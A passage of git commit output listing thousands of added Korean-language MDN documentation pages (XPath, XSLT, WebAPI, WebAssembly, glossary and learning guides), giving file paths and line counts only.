files/ko/web/xpath/functions/round/index.html | 35 + .../ko/web/xpath/functions/starts-with/index.html | 42 + .../web/xpath/functions/string-length/index.html | 28 + files/ko/web/xpath/functions/string/index.html | 42 + .../web/xpath/functions/substring-after/index.html | 49 + .../xpath/functions/substring-before/index.html | 49 + files/ko/web/xpath/functions/substring/index.html | 55 + files/ko/web/xpath/functions/sum/index.html | 39 + .../web/xpath/functions/system-property/index.html | 34 + files/ko/web/xpath/functions/translate/index.html | 92 + files/ko/web/xpath/functions/true/index.html | 19 + .../xpath/functions/unparsed-entity-url/index.html | 21 + files/ko/web/xpath/index.html | 13 + files/ko/web/xslt/apply-imports/index.html | 22 + files/ko/web/xslt/apply-templates/index.html | 33 + files/ko/web/xslt/attribute-set/index.html | 33 + files/ko/web/xslt/attribute/index.html | 33 + files/ko/web/xslt/call-template/index.html | 29 + files/ko/web/xslt/choose/index.html | 24 + files/ko/web/xslt/comment/index.html | 23 + files/ko/web/xslt/copy-of/index.html | 26 + files/ko/web/xslt/copy/index.html | 28 + files/ko/web/xslt/decimal-format/index.html | 100 + files/ko/web/xslt/element/element/index.html | 37 + files/ko/web/xslt/element/index.html | 76 + files/ko/web/xslt/fallback/index.html | 23 + files/ko/web/xslt/for-each/index.html | 29 + files/ko/web/xslt/if/index.html | 28 + files/ko/web/xslt/import/index.html | 26 + files/ko/web/xslt/include/index.html | 26 + files/ko/web/xslt/index.html | 49 + files/ko/web/xslt/key/index.html | 35 + files/ko/web/xslt/message/index.html | 28 + files/ko/web/xslt/namespace-alias/index.html | 30 + files/ko/web/xslt/number/index.html | 173 + files/ko/web/xslt/otherwise/index.html | 23 + files/ko/web/xslt/output/index.html | 90 + files/ko/web/xslt/param/index.html | 33 + files/ko/web/xslt/preserve-space/index.html | 26 + .../ko/web/xslt/processing-instruction/index.html | 26 + files/ko/web/xslt/sort/index.html | 55 + files/ko/web/xslt/strip-space/index.html | 26 + files/ko/web/xslt/stylesheet/index.html | 52 + files/ko/web/xslt/template/index.html | 51 + files/ko/web/xslt/text/index.html | 28 + .../index.html | 17 + .../introduction/index.html | 10 + .../setting_parameters/index.html | 23 + files/ko/web/xslt/transform/index.html | 11 + .../web/xslt/transforming_xml_with_xslt/index.html | 107 + .../the_netscape_xslt_xpath_reference/index.html | 380 + .../index.html | 60 + files/ko/web/xslt/value-of/index.html | 31 + files/ko/web/xslt/variable/index.html | 33 + files/ko/web/xslt/when/index.html | 28 + files/ko/web/xslt/with-param/index.html | 33 + .../web/\354\260\270\354\241\260/api/index.html" | 65 + "files/ko/web/\354\260\270\354\241\260/index.html" | 30 + files/ko/web_development/index.html | 66 + files/ko/webapi/alarm/index.html | 181 + files/ko/webapi/battery_status/index.html | 75 + files/ko/webapi/contacts/index.html | 210 + .../webapi/detecting_device_orientation/index.html | 273 + files/ko/webapi/idle/index.html | 66 + files/ko/webapi/index.html | 138 + .../webapi/managing_screen_orientation/index.html | 136 + files/ko/webapi/network_information/index.html | 46 + files/ko/webapi/power_management/index.html | 102 + files/ko/webapi/proximity/index.html | 119 + files/ko/webapi/simple_push/index.html | 92 + files/ko/webapi/time_and_clock/index.html | 29 + files/ko/webapi/using_geolocation/index.html | 165 + files/ko/webapi/using_light_events/index.html | 64 + files/ko/webapi/using_web_notifications/index.html | 265 + files/ko/webapi/webfm_api/index.html | 132 + files/ko/webapi/websms/index.html | 85 + .../introduction_to_websms/index.html | 23 + files/ko/webassembly/c_to_wasm/index.html | 199 + files/ko/webassembly/caching_modules/index.html | 160 + files/ko/webassembly/concepts/index.html | 152 + files/ko/webassembly/existing_c_to_wasm/index.html | 171 + files/ko/webassembly/exported_functions/index.html | 71 + files/ko/webassembly/index.html | 126 + .../ko/webassembly/loading_and_running/index.html | 109 + files/ko/webassembly/rust_to_wasm/index.html | 295 + .../ko/webassembly/text_format_to_wasm/index.html | 65 + .../understanding_the_text_format/index.html | 607 + .../using_the_javascript_api/index.html | 307 + files/ko/websockets/index.html | 172 + .../index.html | 191 + .../writing_websocket_servers/index.html | 258 + files/ko/windows_and_menus_in_xulrunner/index.html | 127 + files/ko/xforms/index.html | 86 + files/ko/xhtml/index.html | 76 + files/ko/xml_web_services/index.html | 47 + .../xmlhttprequest_changes_for_gecko1.8/index.html | 19 + files/ko/xpcom/index.html | 92 + .../xpcom/setting_http_request_headers/index.html | 209 + files/ko/xpcom/the_thread_manager/index.html | 44 + files/ko/xpcom_interface_reference/index.html | 14 + files/ko/xpconnect/index.html | 57 + files/ko/xpconnect/using_components/index.html | 17 + files/ko/xpi/index.html | 17 + files/ko/xpinstall/index.html | 65 + files/ko/xpinstall_api_reference/index.html | 261 + .../install_object/index.html | 35 + .../install_object/properties/index.html | 32 + .../return_codes/index.html | 268 + files/ko/xslt_in_gecko/basic_example/index.html | 49 + .../xslt_in_gecko/browser_differences/index.html | 8 + files/ko/xslt_in_gecko/generating_html/index.html | 174 + files/ko/xslt_in_gecko/index.html | 14 + files/ko/xslt_in_gecko/introduction/index.html | 13 + files/ko/xslt_in_gecko/resources/index.html | 14 + .../index.html | 17 + files/ko/xtech_2005_presentations/index.html | 6 + files/ko/xul_changes_for_firefox_1.5/index.html | 44 + files/ko/xul_improvements_in_firefox_3/index.html | 76 + files/ko/zones/index.html | 70 + .../index.html" | 261 + .../index.html" | 5 + .../index.html" | 88 + 2808 files changed, 408966 insertions(+) create mode 100644 files/ko/_redirects.txt create mode 100644 files/ko/_wikihistory.json create mode 100644 files/ko/a_basic_raycaster/index.html create mode 100644 files/ko/a_re-introduction_to_javascript/index.html create mode 100644 files/ko/adapting_xul_applications_for_firefox_1.5/index.html create mode 100644 files/ko/aggregating_the_in-memory_datasource/index.html create mode 100644 files/ko/animated_png_graphics/index.html create mode 100644 files/ko/archive/add-ons/code_snippets/cookies/index.html create mode 100644 files/ko/archive/add-ons/code_snippets/index.html create mode 100644 files/ko/archive/add-ons/code_snippets/page_loading/index.html create mode 100644 files/ko/archive/add-ons/code_snippets/running_applications/index.html create mode 100644 files/ko/archive/add-ons/code_snippets/windows/index.html create mode 100644 files/ko/archive/add-ons/code_snippets/xml/index.html create mode 100644 files/ko/archive/add-ons/extension_versioning,_update_and_compatibility/index.html create mode 100644 files/ko/archive/add-ons/index.html create mode 100644 files/ko/archive/add-ons/listening_to_events_in_firefox_extensions/index.html create mode 100644 files/ko/archive/api/index.html create mode 100644 files/ko/archive/api/navigator/index.html create mode 100644 files/ko/archive/apps/design/planning/index.html create mode 100644 files/ko/archive/apps/index.html create mode 100644 files/ko/archive/b2g_os/api/camera_api/index.html create mode 100644 files/ko/archive/b2g_os/api/camera_api/introduction/index.html create mode 100644 files/ko/archive/b2g_os/api/index.html create mode 100644 files/ko/archive/b2g_os/api/tcpsocket/index.html create mode 100644 files/ko/archive/b2g_os/application_development/index.html create mode 100644 files/ko/archive/b2g_os/apps/index.html create mode 100644 files/ko/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html create mode 100644 files/ko/archive/b2g_os/automated_testing/index.html create mode 100644 files/ko/archive/b2g_os/building/index.html create mode 100644 files/ko/archive/b2g_os/building_and_installing_firefox_os/index.html create mode 100644 files/ko/archive/b2g_os/debugging/debugging_b2g_using_gdb/index.html create mode 100644 files/ko/archive/b2g_os/debugging/index.html create mode 100644 files/ko/archive/b2g_os/dual_boot_of_b2g_and_android_on_sgs2/index.html create mode 100644 files/ko/archive/b2g_os/firefox_os_apps/index.html create mode 100644 files/ko/archive/b2g_os/firefox_os_apps/localization/index.html create mode 100644 files/ko/archive/b2g_os/firefox_os_build_prerequisites/index.html create mode 100644 files/ko/archive/b2g_os/firefox_os_faq/index.html create mode 100644 files/ko/archive/b2g_os/index.html create mode 100644 files/ko/archive/b2g_os/installing_on_a_mobile_device/index.html create mode 100644 files/ko/archive/b2g_os/introduction/index.html create mode 100644 files/ko/archive/b2g_os/pandaboard/index.html create mode 100644 files/ko/archive/b2g_os/phone_guide/index.html create mode 100644 files/ko/archive/b2g_os/platform/architecture/index.html create mode 100644 files/ko/archive/b2g_os/platform/gonk/index.html create mode 100644 files/ko/archive/b2g_os/platform/index.html create mode 100644 files/ko/archive/b2g_os/porting/index.html create mode 100644 files/ko/archive/b2g_os/preparing_for_your_first_b2g_build/index.html create mode 100644 files/ko/archive/b2g_os/quickstart/index.html create mode 100644 files/ko/archive/b2g_os/quickstart/intro_to_firefox_os/index.html create mode 100644 files/ko/archive/b2g_os/quickstart/intro_to_open_web_apps/index.html create mode 100644 files/ko/archive/b2g_os/security/index.html create mode 100644 "files/ko/archive/b2g_os/security/\353\263\264\354\225\210_\353\252\250\353\215\270/index.html" create mode 100644 files/ko/archive/b2g_os/simulator/index.html create mode 100644 "files/ko/archive/b2g_os/\354\204\261\353\212\245/index.html" create mode 100644 "files/ko/archive/b2g_os/\354\225\261_\352\264\200\353\246\254\354\236\220_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" create mode 100644 files/ko/archive/css3/index.html create mode 100644 files/ko/archive/index.html create mode 100644 files/ko/archive/mdn/index.html create mode 100644 files/ko/archive/meta_docs/index.html create mode 100644 files/ko/archive/misc_top_level/index.html create mode 100644 files/ko/archive/misc_top_level/same-origin_policy_for_file_colon__uris/index.html create mode 100644 files/ko/archive/misc_top_level/using_content_preferences/index.html create mode 100644 files/ko/archive/mozilla/creating_a_skin_for_seamonkey_2.x/index.html create mode 100644 files/ko/archive/mozilla/drag_and_drop/index.html create mode 100644 files/ko/archive/mozilla/firefox/index.html create mode 100644 files/ko/archive/mozilla/firefox/using_microformats/index.html create mode 100644 files/ko/archive/mozilla/index.html create mode 100644 files/ko/archive/mozilla/rdf_datasource_how-to/index.html create mode 100644 files/ko/archive/mozilla/xbl/index.html create mode 100644 files/ko/archive/mozilla/xbl/xbl_1.0_reference/elements/index.html create mode 100644 files/ko/archive/mozilla/xbl/xbl_1.0_reference/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/dialogs_in_xulrunner/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/getting_started_with_xulrunner/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/what_xulrunner_provides/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/xul_application_packaging/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/xulrunner_faq/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/xulrunner_hall_of_fame/index.html create mode 100644 files/ko/archive/mozilla/xulrunner/xulrunner_tips/index.html create mode 100644 files/ko/archive/rss/getting_started/index.html create mode 100644 files/ko/archive/rss/getting_started/what_is_rss/index.html create mode 100644 files/ko/archive/rss/index.html create mode 100644 files/ko/archive/rss/module/index.html create mode 100644 files/ko/archive/rss/version/index.html create mode 100644 files/ko/archive/security/index.html create mode 100644 files/ko/archive/security/tcp_ip/index.html create mode 100644 files/ko/archive/web/index.html create mode 100644 files/ko/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html create mode 100644 files/ko/archive/web/javascript/index.html create mode 100644 files/ko/archive/web/javascript/legacy_generator_function/index.html create mode 100644 files/ko/archive/web/javascript/legacy_generator_function_statement/index.html create mode 100644 files/ko/archive/web_standards/index.html create mode 100644 files/ko/archive/web_standards/issues_arising_from_arbitrary-element_hover/index.html create mode 100644 files/ko/archive/web_standards/mozilla_s_doctype_sniffing/index.html create mode 100644 files/ko/archive/web_standards/rdf_in_fifty_words_or_less/index.html create mode 100644 files/ko/archive/web_standards/rdf_in_mozilla_faq/index.html create mode 100644 files/ko/archive/web_standards/using_the_right_markup_to_invoke_plugins/index.html create mode 100644 files/ko/building_an_extension/index.html create mode 100644 files/ko/bundles/index.html create mode 100644 files/ko/consistent_list_indentation/index.html create mode 100644 files/ko/creating_a_microsummary/index.html create mode 100644 files/ko/creating_mozsearch_plugins/index.html create mode 100644 files/ko/creating_xpcom_components/an_overview_of_xpcom/index.html create mode 100644 files/ko/creating_xpcom_components/index.html create mode 100644 files/ko/creating_xpcom_components/preface/index.html create mode 100644 files/ko/css3_columns/index.html create mode 100644 files/ko/css_improvements_in_firefox_3/index.html create mode 100644 files/ko/determining_the_dimensions_of_elements/index.html create mode 100644 files/ko/dhtml/index.html create mode 100644 files/ko/dom_improvements_in_firefox_3/index.html create mode 100644 files/ko/download_manager_improvements_in_firefox_3/index.html create mode 100644 files/ko/drag_and_drop_events/index.html create mode 100644 files/ko/drawing_text_using_a_canvas/index.html create mode 100644 files/ko/dynamically_modifying_xul-based_user_interface/index.html create mode 100644 files/ko/e4x/index.html create mode 100644 files/ko/embedding_mozilla/index.html create mode 100644 files/ko/embedding_the_editor/index.html create mode 100644 files/ko/extensions/community/index.html create mode 100644 files/ko/extensions/index.html create mode 100644 files/ko/extensions/thunderbird/building_a_thunderbird_extension_4_colon__chrome_manifest/index.html create mode 100644 files/ko/extensions/thunderbird/index.html create mode 100644 files/ko/firefox_1.5_for_developers/index.html create mode 100644 files/ko/firefox_2_for_developers/index.html create mode 100644 files/ko/firefox_3.5_for_developers/index.html create mode 100644 files/ko/fuel/index.html create mode 100644 files/ko/full_page_zoom/index.html create mode 100644 files/ko/games/index.html create mode 100644 files/ko/games/index/index.html create mode 100644 files/ko/games/introduction/index.html create mode 100644 files/ko/games/tutorials/2d_breakout_game_phaser/index.html create mode 100644 "files/ko/games/tutorials/2d_breakout_game_phaser/\353\223\235\354\240\220/index.html" create mode 100644 files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.html create mode 100644 files/ko/games/tutorials/index.html create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/bounce_off_the_walls/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/build_the_brick_field/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/collision_detection/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/finishing_up/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/game_over/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/mouse_controls/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/paddle_and_keyboard_controls/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/track_the_score_and_win/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\352\263\265_\354\233\200\354\247\201\354\235\264\352\270\260/index.html" create mode 100644 "files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/\354\272\224\353\262\204\354\212\244_\354\203\235\354\204\261\352\263\274_\352\267\270\353\246\254\352\270\260/index.html" create mode 100644 files/ko/gecko/index.html create mode 100644 files/ko/gecko_1.9_changes_affecting_websites/index.html create mode 100644 files/ko/gecko_embedding_basics/index.html create mode 100644 files/ko/gecko_plugin_api_reference/index.html create mode 100644 files/ko/glossary/abstraction/index.html create mode 100644 files/ko/glossary/accessibility/index.html create mode 100644 files/ko/glossary/ajax/index.html create mode 100644 files/ko/glossary/algorithm/index.html create mode 100644 files/ko/glossary/api/index.html create mode 100644 files/ko/glossary/argument/index.html create mode 100644 files/ko/glossary/ascii/index.html create mode 100644 files/ko/glossary/attribute/index.html create mode 100644 files/ko/glossary/bandwidth/index.html create mode 100644 files/ko/glossary/block/css/index.html create mode 100644 files/ko/glossary/block/index.html create mode 100644 files/ko/glossary/browser/index.html create mode 100644 files/ko/glossary/call_stack/index.html create mode 100644 files/ko/glossary/character/index.html create mode 100644 files/ko/glossary/character_encoding/index.html create mode 100644 files/ko/glossary/character_set/index.html create mode 100644 files/ko/glossary/chrome/index.html create mode 100644 files/ko/glossary/client_hints/index.html create mode 100644 files/ko/glossary/compile/index.html create mode 100644 files/ko/glossary/computer_programming/index.html create mode 100644 files/ko/glossary/copyleft/index.html create mode 100644 files/ko/glossary/cors/index.html create mode 100644 files/ko/glossary/cross_axis/index.html create mode 100644 files/ko/glossary/csp/index.html create mode 100644 files/ko/glossary/css/index.html create mode 100644 files/ko/glossary/css_preprocessor/index.html create mode 100644 files/ko/glossary/descriptor_(css)/index.html create mode 100644 files/ko/glossary/doctype/index.html create mode 100644 files/ko/glossary/dom/index.html create mode 100644 files/ko/glossary/domain_name/index.html create mode 100644 files/ko/glossary/ecmascript/index.html create mode 100644 files/ko/glossary/element/index.html create mode 100644 files/ko/glossary/empty_element/index.html create mode 100644 files/ko/glossary/endianness/index.html create mode 100644 files/ko/glossary/entity_header/index.html create mode 100644 files/ko/glossary/falsy/index.html create mode 100644 files/ko/glossary/firewall/index.html create mode 100644 files/ko/glossary/first-class_function/index.html create mode 100644 files/ko/glossary/flex_container/index.html create mode 100644 files/ko/glossary/flex_item/index.html create mode 100644 files/ko/glossary/flexbox/index.html create mode 100644 files/ko/glossary/fork/index.html create mode 100644 files/ko/glossary/ftp/index.html create mode 100644 files/ko/glossary/function/index.html create mode 100644 files/ko/glossary/general_header/index.html create mode 100644 files/ko/glossary/gif/index.html create mode 100644 files/ko/glossary/global_object/index.html create mode 100644 files/ko/glossary/google_chrome/index.html create mode 100644 files/ko/glossary/gpl/index.html create mode 100644 files/ko/glossary/gpu/index.html create mode 100644 files/ko/glossary/graceful_degradation/index.html create mode 100644 files/ko/glossary/head/index.html create mode 100644 files/ko/glossary/header/index.html create mode 100644 files/ko/glossary/hoisting/index.html create mode 100644 files/ko/glossary/html/index.html create mode 100644 files/ko/glossary/http/index.html create mode 100644 files/ko/glossary/http_2/index.html create mode 100644 files/ko/glossary/https/index.html create mode 100644 files/ko/glossary/idempotent/index.html create mode 100644 files/ko/glossary/iife/index.html create mode 100644 files/ko/glossary/index.html create mode 100644 files/ko/glossary/index/index.html create mode 100644 files/ko/glossary/internet/index.html create mode 100644 files/ko/glossary/ip_address/index.html create mode 100644 files/ko/glossary/ipv4/index.html create mode 100644 files/ko/glossary/ipv6/index.html create mode 100644 files/ko/glossary/java/index.html create mode 100644 files/ko/glossary/javascript/index.html create mode 100644 files/ko/glossary/jquery/index.html create mode 100644 files/ko/glossary/json/index.html create mode 100644 files/ko/glossary/main_axis/index.html create mode 100644 files/ko/glossary/metadata/index.html create mode 100644 files/ko/glossary/method/index.html create mode 100644 files/ko/glossary/microsoft_edge/index.html create mode 100644 files/ko/glossary/microsoft_internet_explorer/index.html create mode 100644 files/ko/glossary/mime_type/index.html create mode 100644 files/ko/glossary/mozilla_firefox/index.html create mode 100644 files/ko/glossary/mvc/index.html create mode 100644 files/ko/glossary/node.js/index.html create mode 100644 files/ko/glossary/null/index.html create mode 100644 files/ko/glossary/object/index.html create mode 100644 files/ko/glossary/object_reference/index.html create mode 100644 files/ko/glossary/oop/index.html create mode 100644 files/ko/glossary/operator/index.html create mode 100644 files/ko/glossary/origin/index.html create mode 100644 files/ko/glossary/pdf/index.html create mode 100644 files/ko/glossary/php/index.html create mode 100644 files/ko/glossary/pixel/index.html create mode 100644 files/ko/glossary/png/index.html create mode 100644 files/ko/glossary/polyfill/index.html create mode 100644 files/ko/glossary/preflight_request/index.html create mode 100644 files/ko/glossary/primitive/index.html create mode 100644 files/ko/glossary/progressive_enhancement/index.html create mode 100644 files/ko/glossary/protocol/index.html create mode 100644 files/ko/glossary/prototype-based_programming/index.html create mode 100644 files/ko/glossary/prototype/index.html create mode 100644 files/ko/glossary/proxy_server/index.html create mode 100644 files/ko/glossary/pseudocode/index.html create mode 100644 files/ko/glossary/python/index.html create mode 100644 files/ko/glossary/reflow/index.html create mode 100644 files/ko/glossary/regular_expression/index.html create mode 100644 files/ko/glossary/request_header/index.html create mode 100644 files/ko/glossary/response_header/index.html create mode 100644 files/ko/glossary/rest/index.html create mode 100644 files/ko/glossary/self-executing_anonymous_function/index.html create mode 100644 files/ko/glossary/semantics/index.html create mode 100644 files/ko/glossary/seo/index.html create mode 100644 files/ko/glossary/server/index.html create mode 100644 files/ko/glossary/shim/index.html create mode 100644 files/ko/glossary/signature/function/index.html create mode 100644 files/ko/glossary/signature/index.html create mode 100644 files/ko/glossary/simd/index.html create mode 100644 files/ko/glossary/smtp/index.html create mode 100644 files/ko/glossary/sql/index.html create mode 100644 files/ko/glossary/ssl/index.html create mode 100644 files/ko/glossary/stacking_context/index.html create mode 100644 files/ko/glossary/string/index.html create mode 100644 files/ko/glossary/svg/index.html create mode 100644 files/ko/glossary/symbol/index.html create mode 100644 files/ko/glossary/tag/index.html create mode 100644 files/ko/glossary/tcp/index.html create mode 100644 files/ko/glossary/tls/index.html create mode 100644 files/ko/glossary/truthy/index.html create mode 100644 files/ko/glossary/ui/index.html create mode 100644 files/ko/glossary/undefined/index.html create mode 100644 files/ko/glossary/unicode/index.html create mode 100644 files/ko/glossary/uri/index.html create mode 100644 files/ko/glossary/url/index.html create mode 100644 files/ko/glossary/user_agent/index.html create mode 100644 files/ko/glossary/utf-8/index.html create mode 100644 files/ko/glossary/variable/index.html create mode 100644 files/ko/glossary/viewport/index.html create mode 100644 files/ko/glossary/webextensions/index.html create mode 100644 files/ko/glossary/webrtc/index.html create mode 100644 files/ko/glossary/websockets/index.html create mode 100644 files/ko/glossary/whatwg/index.html create mode 100644 files/ko/glossary/world_wide_web/index.html create mode 100644 files/ko/glossary/wrapper/index.html create mode 100644 files/ko/glossary/xhr_(xmlhttprequest)/index.html create mode 100644 "files/ko/glossary/\353\217\231\354\240\201_\355\224\204\353\241\234\352\267\270\353\236\230\353\260\215_\354\226\270\354\226\264/index.html" create mode 100644 "files/ko/glossary/\353\260\260\354\227\264/index.html" create mode 100644 "files/ko/glossary/\353\266\210\353\246\260/index.html" create mode 100644 "files/ko/glossary/\353\270\214\353\235\274\354\232\260\354\240\200-\354\273\250\355\205\215\354\212\244\355\212\270/index.html" create mode 100644 "files/ko/glossary/\354\212\244\354\275\224\355\224\204/index.html" create mode 100644 "files/ko/glossary/\354\213\235\353\263\204\354\236\220/index.html" create mode 100644 "files/ko/glossary/\354\240\204\354\206\241_\354\240\234\354\226\264_\355\224\204\353\241\234\355\206\240\354\275\234_(tcp)/index.html" create mode 100644 "files/ko/glossary/\354\272\220\354\213\234/index.html" create mode 100644 files/ko/gre/index.html create mode 100644 files/ko/hacking_firefox/index.html create mode 100644 files/ko/how_to_build_an_xpcom_component_in_javascript/index.html create mode 100644 files/ko/install.rdf/index.html create mode 100644 files/ko/interfacing_with_the_xpcom_cycle_collector/index.html create mode 100644 files/ko/international_characters_in_xul_javascript/index.html create mode 100644 files/ko/introduction_to_the_javascript_shell/index.html create mode 100644 files/ko/introduction_to_using_xpath_in_javascript/index.html create mode 100644 files/ko/javascript_c_engine_embedder's_guide/index.html create mode 100644 files/ko/javascript_code_modules/using_javascript_code_modules/index.html create mode 100644 files/ko/jsapi_reference/index.html create mode 100644 files/ko/jsapi_reference/jsclass.flags/index.html create mode 100644 files/ko/learn/common_questions/how_does_the_internet_work/index.html create mode 100644 files/ko/learn/common_questions/html_features_for_accessibility/index.html create mode 100644 files/ko/learn/common_questions/index.html create mode 100644 files/ko/learn/common_questions/pages_sites_servers_and_search_engines/index.html create mode 100644 files/ko/learn/common_questions/set_up_a_local_testing_server/index.html create mode 100644 files/ko/learn/common_questions/upload_files_to_a_web_server/index.html create mode 100644 files/ko/learn/common_questions/what_are_hyperlinks/index.html create mode 100644 files/ko/learn/common_questions/what_is_a_domain_name/index.html create mode 100644 files/ko/learn/common_questions/what_is_a_url/index.html create mode 100644 files/ko/learn/common_questions/what_is_a_web_server/index.html create mode 100644 files/ko/learn/common_questions/what_software_do_i_need/index.html create mode 100644 "files/ko/learn/common_questions/\354\233\271_\354\202\254\354\235\264\355\212\270\352\260\200_\354\240\234\353\214\200\353\241\234_\353\217\231\354\236\221\355\225\230\353\212\224\354\247\200_\355\231\225\354\235\270/index.html" create mode 100644 "files/ko/learn/common_questions/\354\275\224\353\224\251\355\225\230\352\270\260_\354\240\204\354\227\220_\354\203\235\352\260\201\355\225\230\352\270\260/index.html" create mode 100644 files/ko/learn/css/basics/layout/index.html create mode 100644 files/ko/learn/css/building_blocks/backgrounds_and_borders/index.html create mode 100644 files/ko/learn/css/building_blocks/cascade_and_inheritance/index.html create mode 100644 files/ko/learn/css/building_blocks/debugging_css/index.html create mode 100644 files/ko/learn/css/building_blocks/handling_different_text_directions/index.html create mode 100644 files/ko/learn/css/building_blocks/images_media_form_elements/index.html create mode 100644 files/ko/learn/css/building_blocks/index.html create mode 100644 files/ko/learn/css/building_blocks/organizing/index.html create mode 100644 files/ko/learn/css/building_blocks/overflowing_content/index.html create mode 100644 files/ko/learn/css/building_blocks/sizing_items_in_css/index.html create mode 100644 files/ko/learn/css/building_blocks/styling_tables/index.html create mode 100644 files/ko/learn/css/building_blocks/values_and_units/index.html create mode 100644 "files/ko/learn/css/building_blocks/\354\203\201\354\236\220_\353\252\250\353\215\270/index.html" create mode 100644 "files/ko/learn/css/building_blocks/\354\204\240\355\203\235\354\236\220/index.html" create mode 100644 files/ko/learn/css/css_layout/flexbox/index.html create mode 100644 files/ko/learn/css/css_layout/floats/index.html create mode 100644 files/ko/learn/css/css_layout/grids/index.html create mode 100644 files/ko/learn/css/css_layout/index.html create mode 100644 files/ko/learn/css/css_layout/introduction/index.html create mode 100644 files/ko/learn/css/css_layout/legacy_layout_methods/index.html create mode 100644 files/ko/learn/css/css_layout/multiple-column_layout/index.html create mode 100644 "files/ko/learn/css/css_layout/\353\257\270\353\224\224\354\226\264_\354\277\274\353\246\254_\354\264\210\353\263\264\354\236\220_\354\225\210\353\202\264\354\204\234/index.html" create mode 100644 "files/ko/learn/css/css_layout/\353\260\230\354\235\221\355\230\225_\353\224\224\354\236\220\354\235\270/index.html" create mode 100644 "files/ko/learn/css/css_layout/\354\234\204\354\271\230\354\236\241\352\270\260/index.html" create mode 100644 "files/ko/learn/css/css_layout/\354\235\264\354\240\204_\353\270\214\353\235\274\354\232\260\354\240\200_\354\247\200\354\233\220/index.html" create mode 100644 "files/ko/learn/css/css_layout/\354\235\274\353\260\230_\355\235\220\353\246\204/index.html" create mode 100644 files/ko/learn/css/first_steps/getting_started/index.html create mode 100644 files/ko/learn/css/first_steps/how_css_is_structured/index.html create mode 100644 files/ko/learn/css/first_steps/how_css_works/index.html create mode 100644 files/ko/learn/css/first_steps/index.html create mode 100644 files/ko/learn/css/first_steps/using_your_new_knowledge/index.html create mode 100644 files/ko/learn/css/first_steps/what_is_css/index.html create mode 100644 files/ko/learn/css/howto/generated_content/index.html create mode 100644 files/ko/learn/css/howto/index.html create mode 100644 files/ko/learn/css/index.html create mode 100644 "files/ko/learn/css/introduction_to_css/\352\270\260\353\263\270\354\240\201\354\235\270_css_\354\235\264\355\225\264/index.html" create mode 100644 files/ko/learn/css/styling_text/fundamentals/index.html create mode 100644 files/ko/learn/css/styling_text/index.html create mode 100644 files/ko/learn/css/styling_text/styling_lists/index.html create mode 100644 files/ko/learn/front-end_web_developer/index.html create mode 100644 "files/ko/learn/getting_started_with_the_web/css_\352\270\260\353\263\270/index.html" create mode 100644 "files/ko/learn/getting_started_with_the_web/html_\352\270\260\353\263\270/index.html" create mode 100644 files/ko/learn/getting_started_with_the_web/index.html create mode 100644 files/ko/learn/getting_started_with_the_web/javascript_basics/index.html create mode 100644 files/ko/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html create mode 100644 